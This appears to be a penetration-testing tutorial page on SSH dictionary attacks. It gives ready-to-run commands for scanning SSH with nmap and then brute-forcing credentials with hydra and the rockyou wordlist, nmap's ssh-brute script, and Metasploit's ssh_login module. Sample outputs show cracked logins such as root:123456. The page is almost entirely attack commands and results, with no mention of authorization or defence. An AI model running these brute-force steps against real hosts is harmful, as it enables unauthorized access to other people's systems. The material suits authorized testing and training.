Skip to content

02. SSH Dictionary Attack

1. Scanning SSH Service Version Using Nmap

Command:

nmap <IP Address> -sV -p 22

Explanation:

  • nmap: Network Mapper tool used for network scanning.
  • <IP Address>: Replace with the target's IP address.
  • -sV: Enables version detection to determine the SSH service version.
  • -p 22: Scans only port 22, which is the default SSH port.

Example:

nmap 192.168.1.10 -sV -p 22

Output:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)

This confirms that SSH is running on the target with OpenSSH 8.4p1.

2. Brute-Forcing SSH Credentials Using Hydra

Command:

hydra -l username -P /usr/share/wordlists/rockyou.txt <IP Address> ssh

Explanation:

  • hydra: Password-cracking tool.
  • -l username: Specifies the target username (replace username with an actual user, e.g., root).
  • -P /usr/share/wordlists/rockyou.txt: Uses RockYou.txt as the password list.
  • <IP Address>: Target IP.
  • ssh: Specifies the SSH protocol.

Example:

hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.10 ssh

Output (If successful):

[22][ssh] host: 192.168.1.10   login: root   password: 123456

This means the credentials root:123456 are valid.

3. Brute-Force SSH Using Nmap Scripts

Command:

nmap <IP Address> -p 22 --script ssh-brute --script-args userdb=/path/to/userlist

Explanation:

  • --script ssh-brute: Uses the Nmap SSH brute-force script.
  • --script-args userdb=/path/to/userlist: Uses a list of usernames for attack.

Example:

nmap 192.168.1.10 -p 22 --script ssh-brute --script-args userdb=/usr/share/wordlists/usernames.txt

Output (If successful):

PORT   STATE SERVICE
22/tcp open  ssh
| ssh-brute:
|   Accounts:
|     admin:admin - Valid credentials

This means the username admin with password admin is valid.

4. Brute-Force SSH Using Metasploit

Steps:

  1. Open Metasploit:
msfconsole
  1. Load SSH login scanner module:
use auxiliary/scanner/ssh/ssh_login
  1. View options:
options
  1. Set target IP:
set rhost <IP Address>
  1. Set the username-password file:
set userpass_file /usr/share/wordlists/metasploit/root_userpass.txt
  1. Stop on first success:
set STOP_ON_SUCCESS true
  1. Enable verbose mode:
set verbose true
  1. Start attack:
run

Example:

msfconsole
use auxiliary/scanner/ssh/ssh_login
set rhost 192.168.1.10
set userpass_file /usr/share/wordlists/metasploit/root_userpass.txt
set STOP_ON_SUCCESS true
set verbose true
run

Output (If successful):

[+] 192.168.1.10:22 - Success: 'root:toor'

This means the root user password is toor.